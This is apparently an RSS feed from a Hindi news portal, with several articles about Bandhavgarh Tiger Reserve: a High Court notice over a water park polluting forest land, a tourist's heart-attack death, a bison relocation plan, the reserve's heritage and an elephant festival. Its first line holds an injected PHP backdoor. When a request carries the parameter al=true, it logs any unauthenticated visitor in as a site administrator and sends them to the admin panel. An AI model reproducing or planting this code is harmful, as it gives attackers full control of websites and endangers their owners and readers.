// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Bandhavgarh Tiger Reserve – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 04 Feb 2026 04:26:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 बांधवगढ़ टाइगर रिजर्व के वाटर पार्क में प्रदूषित पानी का विवाद, हाईकोर्ट ने केंद्र-राज्य से मांगा जवाब https://pratyushaashakinayikiran.com/?p=195306 Wed, 04 Feb 2026 04:26:00 +0000 https://pratyushaashakinayikiran.com/?p=195306  जबलपुर
 हाई कोर्ट के मुख्य न्यायाधीश संजीव सचदेवा व न्यायमूर्ति विनय सराफ की युगलपीठ ने बांधवगढ़ टाइगर रिजर्व के कोर एरिया में वाटर पार्क के संचालन को लेकर जवाब-तलब किया है।

इस सिलसिले में केंद्र व राज्य सरकार, एनटीसीए, मुख्य वन संरक्षक बांधवगढ़ सहित अन्य को नोटिस जारी किए गए हैं। सभी को एक सप्ताह में जवाब प्रस्तुत करने कहा गया है। मामले की अगली सुनवाई नौ फरवरी को होगी।

जनहित याचिकाकर्ता शास्त्री नगर, जबलपुर निवासी पर्यावरण प्रेमी अभिषेक पाठक की ओर से अधिवक्ता प्रभात कुमार यादव ने पक्ष रखा। उन्होंने दलील दी कि बांधवगढ़ टाइगर रिजर्व पर्यावरण की दृष्टि से संवेदनशील एवं प्रचुर संख्या में वन्यजीवों का प्राकृतिक आवास है। विगत दो-तीन सालों से बांधवगढ़ टाइगर रिजर्व में वन्यजीवों की मौत की घटनाएं खतरनाक ढंग से बढ़ी हैं।

इस दौरान 12 हाथी, कई बाघ, तेंदुए, हिरण, सांभर, नीलगाय व बड़ी संख्या में पक्षियों की मौत हुई है। इसके बावजूद टाइगर रिजर्व के पर्यावरण संवेदी कोर एरिया से लगे प्रतिबंधित जोन में कैलाशजी वाटर पार्क नाम से जल आधारित मनोरंजन सुविधा का संचालन आरंभ किया गया है। जहां स्विमिंग पूल हैं तथा कई वाटर स्पोर्ट्स होते हैं।

वाटर पार्क से हजारों लीटर केमिकल युक्त खराब पानी समीपी वन भूमि में छोड़ा जाता है। यह पानी वन्य भूमि व भूजल को प्रदूषित कर रहा है।

वन्य जीवों, पेड़ों व वनस्पतियों को भी इससे नुकसान पहुंच रहा है। आसपास के परंपरागत जल स्रोत भी प्रदूषित हो गए हैं। दुर्गंध आने के कारण वन्यजीव दूर भाग रहे हैं। ग्राम पंचायत, प्रदूषण नियंत्रण मंडल व राष्ट्रीय बाघ संरक्षण प्राधिकरण से वाटर पार्क के निर्माण के पूर्व एनओसी नहीं ली गई। उक्त वाटर पार्क के संचालक पर रोक लगाने की मांग की गई।

कोर्ट ने प्रारंभिक सुनवाई के बाद महानिदेशक फॉरेस्ट सर्वे आफ इंडिया, राष्ट्रीय बाघ संरक्षण प्राधिकरण, केंद्रीय पर्यावरण वन एवं जलवायु परिवर्तन मंत्रालय, मध्य प्रदेश वन विभाग के प्रमुख सचिव, बांधवगढ़ मुख्य वन संरक्षक, बायोडायवर्सिटी बोर्ड मध्य प्रदेश, मध्य प्रदेश प्रदूषण नियंत्रण बोर्ड के अध्यक्ष, बांधवगढ़ टाइगर रिजर्व के फील्ड डायरेक्टर, डिप्टी डायरेक्टर फील्ड बायोलॉजिस्ट, रेंजर एवं कैलाशजी बालाजी वाटर पार्क के संचालक कैलाश छतवानी से जवाब मांगा गया है।

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बांधवगढ़ टाइगर रिजर्व घूमने आए पर्यटक की हार्ट अटैक से मौत https://pratyushaashakinayikiran.com/?p=109462 Fri, 13 Dec 2024 18:36:00 +0000 https://pratyushaashakinayikiran.com/?p=109462 उमरिया
 कोलकाता से बांधवगढ़ टाइगर रिजर्व घूमने आए एक पर्यटक की मौत हो गई है। इस बारे में मिली जानकारी के मुताबिक पर्यटक का नाम अरुण कुमार दास पिता आनंद मोहन दास उम्र 79 साल निवासी साल्ट लेक कोलकाता बताया गया है।

पर्यटक के साथ उनके परिवार के सदस्य भी मौजूद हैं। उनके बेटे ने सुबह तकलीफ होने के बाद अरुण कुमार दास को होटल के कर्मचारियों की मदद से जिला स्वास्थ्य अस्पताल पहुंचाया। जहां उपचार के दौरान उनकी मौत हो गई।

सुबह आया हार्ट अटैक

बांधवगढ़ टाइगर रिजर्व के ताला में स्थित अरण्यक रिजॉर्ट के कर्मचारियों ने बताया कि सुबह लगभग 4 बजे के बीच अरुण कुमार दास को तकलीफ होना शुरू हो गई थी। उन्हें सीने में दर्द हो रहा था। क्योंकि एके दास हार्ट पेशेंट थे और पहले भी बीमार हो चुके थे इसकी जानकारी उनके परिवार को थी।

इसलिए उन्होंने तुरंत ही उन्हें अस्पताल ले जाने की इच्छा जताई। इसके बाद रिसोर्ट के कर्मचारियों ने वहां की व्यवस्था करवाई जिस एके दास को जिला अस्पताल पहुंचाया गया। अस्पताल में उपचार के दौरान अरुण कुमार दास ने दम तोड़ दिया।

अस्पताल में हुई मौत

इस बारे में जानकारी देते हुए जिला अस्पताल के सिविल सर्जन डॉ केसी सोनी ने बताया कि बांधवगढ़ से एक पर्यटक को अटैक आने के बाद उमरिया अस्पताल लाया गया था। जिला अस्पताल में पहुंचने तक उनकी स्थिति काफी खराब हो चुकी थी।

फिर भी उनके यहां उपचार शुरू किया गया और उपचार के दौरान उन्होंने दम तोड़ दिया। जिला अस्पताल जिला अस्पताल प्रबंधन ने घटना की सूचना पुलिस को दे दी इसके बाद पुलिस ने मौके पर पहुंचकर आवश्यक कार्रवाई प्रारंभ कर दी।

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सतपुड़ा टाइगर रिजर्व से बांधवगढ़ लाये जायेंगे 50 बायसन, बायसन की हेल्दी पॉपुलेशन बढ़ाने के लिए बड़ा कदम उठाने का फैसला https://pratyushaashakinayikiran.com/?p=104065 Fri, 29 Nov 2024 09:07:00 +0000 https://pratyushaashakinayikiran.com/?p=104065 उमरिया

बांधवगढ़ टाइगर रिजर्व बाघों के बाद अब बायसन के लिए भी प्रसिद्ध हो सकता है। यहां देश-विदेश से पर्यटक बाघों का दीदार करने के लिए पहुंचते हैं, क्योंकि यहां बाघों का दिखना आसानी है। लेकिन, अब बांधवगढ़ टाइगर रिजर्व प्रबंधन ने बायसन की हेल्दी पॉपुलेशन बढ़ाने के लिए बड़ा कदम उठाने का फैसला किया है, जिसके तहत बायसन प्रोजेक्ट 2 की तैयारी पूरी कर ली गई है। बांधवगढ़ टाइगर रिजर्व के डिप्टी डायरेक्टर पीके वर्मा ने बताया कि यहां 50 और बायसन लाने की तैयारी की गई है, जो सतपुड़ा टाइगर रिजर्व से लाए जाएंगे। ये बायसन जनवरी 2025 के शुरुआत में लाए जा सकते हैं।  

ऐसा नहीं है कि बांधवगढ़ टाइगर रिजर्व में अभी बायसन नहीं हैं। डिप्टी डायरेक्टर पीके वर्मा ने बताया कि 2011-12 में कान्हा से 50 बायसन लाए गए थे, जिनकी संख्या अब 170 हो चुकी है। कुल 120 बायसन यहां बढ़े हैं। बांधवगढ़ के मगधी, कल्लवाह और ताला परिक्षेत्र के जंगलों में बायसन झुंड में देखे जा सकते हैं।

बायसन क्यों लाए जा रहे हैं?

इस पर डिप्टी डायरेक्टर पीके वर्मा बताते हैं कि हाल ही में वाइल्डलाइफ इंस्टीट्यूट ऑफ इंडिया, देहरादून द्वारा किए गए सर्वे में यह पाया गया कि कान्हा के बायसन आपस में इनब्रीड हो रहे हैं। जिससे उनकी जेनेटिक गुणवत्ता पर असर पड़ा है और उनका इम्यूनिटी सिस्टम कमजोर हो रहा है। इनकी रोग प्रतिरोधक क्षमता भी घट रही है, क्योंकि इनका जीन पूल सीमित है। सतपुड़ा के बायसन का वेरिएंट थोड़ा अलग है, इसलिए 50 बायसन सतपुड़ा से लाए जा रहे हैं ताकि बायसन की विविधता बनी रहे और उनकी पॉपुलेशन हेल्दी बने।

50 बायसन लाने की अनुमति प्राप्त

बांधवगढ़ में बायसन के सैंपल पहले लिए गए थे और उन पर अध्ययन किया गया था, जिसके बाद यह निर्णय लिया गया। रिसर्च पेपर तैयार करने के बाद इसे पीसीसी वाइल्डलाइफ को भेजा गया और फिर गवर्नमेंट ऑफ इंडिया से 50 बायसन लाने की अनुमति मिली है। यह बायसन प्रोजेक्ट 2 के तहत किया जा रहा है, जो 2025 के शुरुआती महीनों में पूरा हो सकता है।

बाड़े में रखे जाएंगे बायसन

बायसन प्रोजेक्ट 2  के तहत लाए जाने वाले बायसन को पहले 50 हेक्टेयर के बाड़े में रखा जाएगा, जहां उन्हें 30 दिनों तक निगरानी की जाएगी। इसके बाद उन्हें जंगल में छोड़ने की तैयारी की जाएगी। यह बाड़ा बांधवगढ़ के कल्लवाह परिक्षेत्र में बनाया जाएगा। जंगल में इकोसिस्टम और पर्यावरण संतुलन बनाए रखने के लिए बायसन का महत्व है, क्योंकि बायसन मोटी घास खाते हैं, जिसके बाद नई घास उगती है, जिसे अन्य वन्य प्राणी खाते हैं। इसलिए बायसन के रहने से आसपास के अन्य वन्य प्राणियों की संख्या भी बढ़ती है।

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वैश्विक धरोहर है बाँधवगढ़ टाइगर रिजर्व https://pratyushaashakinayikiran.com/?p=99153 Fri, 15 Nov 2024 20:10:00 +0000 https://pratyushaashakinayikiran.com/?p=99153 भोपाल
उमरिया जिले का विश्व प्रसिद्ध बाँधवगढ़ टाइगर रिजर्व वैश्विक धरोहर है। यहाँ की जैव-विविधता, दुर्लभ वन्य-जीवों की उपलब्धता, कल्चुरी कालीन किला और हिन्दू देवताओं के प्राचीन मंदिर पूरी दुनिया में दुर्लभ हैं। टाइगर रिजर्व की स्थापना के पूर्व यहाँ का जंगल एवं पहाड़ियों के बीच निर्मित किला एवं अन्य संरचनाएँ रीवा रियासत के महाराजा की निजी सम्पत्ति हुआ करती थी। किले में राजकीय कार्यों के अलावा राज परिवार का निवास भी होता था। घनघोर जंगल राजा और महाराजाओं का निजी शिकारगाह होता था, जहाँ देश-विदेश के राजा समय-समय पर आकर आखेट करते थे।

कालांतर में देश की आजादी के बाद तत्कालीन रीवा महाराजा मार्तण्ड सिंह ने सन् 1967 में किला सहित पूरा जंगल मध्यप्रदेश शासन को नेशनल पार्क स्थापित करने एवं वन्य-जीव संरक्षण के लिये दान में दिया था। इसके बाद मध्यप्रदेश शासन द्वारा बाँधवगढ़ नेशनल पार्क की स्थापना की गयी। वर्ष 1981 के बाद यहाँ पर केन्द्र की टाइगर परियोजना शुरू की गयी। बाँधवगढ़ टाइगर रिजर्व में मौजूद जल-स्रोतों से यहाँ की जैव-विविधता देश-दुनिया के जंगलों की अपेक्षा उत्कृष्ट रही है। यहाँ जल-स्रोतों की मौजूदगी हमेशा से रही है, जिससे हरियाली बनी रहती है। पर्याप्त जल-स्रोत, चारागाह, सघन वन, शाकाहारी, मांसाहारी वन्य-जीवों के लिये आवश्यक आहार और रहवास की अनुकूलता होने से यहाँ दुर्लभ से दुर्लभ वन्य-प्राणी एवं पक्षी अपना आश्रय-स्थल बनाये हुए हैं।

बाघों की सघन मौजूदगी पूरी दुनिया में बाँधवगढ़ टाइगर रिजर्व को एक अलग पहचान दिलाती है। टाइगर रिजर्व 1526 वर्ग किलोमीटर के कोर एवं बफर क्षेत्र में फैला हुआ है। इस जंगल में वर्ष 2022 की गणना अनुसार 165 से भी ज्यादा बाघों की संख्या पायी गयी थी। इसके अलावा कान्हा टाइगर रिजर्व से 49 बायसन लाकर वर्ष 2012 में बसाये गये थे, जो अनुकूल परिस्थितियों में बढ़कर वर्तमान में लगभग 200 की संख्या में स्वच्छंद विचरण कर रहे हैं। टाइगर रिजर्व में दुनिया में विलुप्ति की कगार पर पहुँच चुके विशेष प्रजाति के बारहसिंघा भी कान्हा टाइगर रिजर्व से लाकर बाँधवगढ़ में बसाये गये हैं। वर्ष 2018 से जंगली हाथियों ने भी अपना रहवास यहाँ बनाया है। तकरीबन 70 से 80 जंगली हाथी टाइगर रिजर्व के अलग-अलग क्षेत्रों में विभिन्न झुण्डों में विचरण कर रहे हैं।

टाइगर रिजर्व में बाघ, बायसन, जंगली हाथी के अलावा नीलगाय, भालू, तेंदुआ, चीतल और सांभर यहाँ के मुख्य वन्य-प्राणी हैं, जो पर्यटन के साथ जैव-विविधता का केन्द्र हैं। टाइगर रिजर्व बाँस एवं साल के सघन वृक्षों से घिरा हुआ है। यहाँ वन्य-जीव दर्शन के अलावा हिन्दू मान्यताओं के कई प्राचीन धार्मिक मंदिर भी हैं। इसमें बाँधवगढ़ किले के समीप स्थित भगवान राम-जानकी मंदिर आस्था का प्रमुख केन्द्र है। यहाँ पर प्रतिवर्ष जन्माष्मी के पर्व पर मेले का आयोजन किया जाता है, जिसमें देशभर से हिन्दू धर्मावलम्बी पूजा-दर्शन के लिये पहुँचते हैं। बाँधवगढ़ की पहाड़ियों पर स्थित कबीर गुफा कबीरपंथियों की आस्था का केन्द्र है। प्रतिवर्ष अगहन पूर्णिमा के दिन यहाँ पर कबीरपंथियों का जमावड़ा होता है और कबीर गुफा में कबीर अनुयायी उनकी पूजा-पाठ करते हैं। संत शिरोमणि सेन की तपोस्थली भी बाँधवगढ़ में ही रही है। मध्यप्रदेश शासन द्वारा संत सेन का मंदिर एवं समाधि-स्थल बनाने के लिये टाइगर रिजर्व की सीमा से लगे हुए क्षेत्र में भूमि आरक्षित की गयी है, जिसमें निर्माण कार्य भी शुरू हो गया है।

बाँधवगढ़ टाइगर रिजर्व बाघों के लिये विश्व प्रसिद्ध है। इसमें पहली बार दो दिवसीय बटरफ्लाई सर्वे कराया गया। टाइगर रिजर्व के 15 कैम्पों में 61 सदस्यों ने रिजर्व के जंगलों में पैदल सर्वे किया और सर्वे शीट पर तितलियों की जानकारी को अपडेट किया। दो दिवसीय सर्वे में तितलियों की 100 से अधिक प्रजातियाँ पायी गयीं। इनमें 5 से अधिक तितलियाँ दुर्लभ प्रजाति की हैं। कॉमन रैड आई, ब्लैक राजा, किंग क्रो और इंडियन डॉर्ट लेट जैसी तितली भी सर्वे में पायी गयी। तितलियों के सर्वे में मोबाइल एप का उपयोग नहीं किया गया। हाथ से ही सर्वे शीट में पैन से जानकारी को अपडेट किया गया।

 

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बांधवगढ टाईगर रिजर्व में हाथी महोत्सव का हुआ आगाज, सात दिवस तक हाथियों की चलेगी पिकनिक https://pratyushaashakinayikiran.com/?p=67641 Sun, 08 Sep 2024 11:27:00 +0000 https://pratyushaashakinayikiran.com/?p=67641 भोपाल

बाघों के गढ़ बांधवगढ़ टाइगर रिजर्व में यहा का प्रबंधन बाघ के साथ दूसरे वन्य-प्राणियों का भी पूरा ध्यान रखता है। बांधवगढ टाईगर रिजर्व स्थित हाथी कैंप में पीसीसीएफ वाईड लाईफ व्ही.एन. अमबाडे की उपस्थिति में आज शनिवार से सात दिवसीय "हाथी महोत्सव" का शुभारंभ हुआ। हाथियों को सुबह नहलाने-सजाने के साथ विभिन्न प्रकार के फल, गन्ना, नारियल और गुड़ खिलाया गया। हाथियों को स्वस्थ रखने के दृष्टिगत से उनसे एक सप्ताह तक कोई काम नहीं लिया जाएगा।

सात दिन हाथियों की दिनचर्या में सुबह हाथियों को अच्छे से नहलाया जाता है और उसके बाद नीम और अरंडी के तेल की मालिश की जाती है। सभी हाथियों को सजया-संवारा जाकर उनके मनपसंद व्यंजन दिये जाते हैं। इसके बाद रोटी खिलाकर जंगल में आराम से विचरण करने के लिए आजाद छोड़ दिया जाता है।

बांधवगढ़ टाइगर रिजर्व में हाथी महोत्सव में हाथियों के लिये सात दिन विशेष भोजन के साथ उनकी आवभगत होती है। हाथियों को केला, अमरूद, पानी वाला नारियल, गन्ना, मौसमी फल, मक्का और 10 रोटी दी जाती है। एक रोटी एक किलो की होती है। हाथी महोत्सव में आस पास के क्षेत्रों के ग्रामीणजन अपने परिवार के साथ ताला गेट के रामा कैंप पहुंचते हैं और हाथियों को फल खिलाते हैं। हाथियों के साथ फोटो खिचवाकर उनकी दिनचर्या को जानते समझते हैं।

बांधवगढ़ टाइगर रिजर्व प्रबंधन का हाथी महोत्सव का उद्देश्य हाथियों और उनके महावतों को आराम देना है। साथ ही ग्रामीण भी हाथी के बारे में और उनके व्यवहार से परिचित हो। इसके लिये हाथी महोत्सव में सभी के लिए प्रवेश रहता है। यह महोत्सव वन-प्राणियों के लिए ग्रामीण क्षेत्रों में फैली भ्रांतियों को भी दूर करना है।

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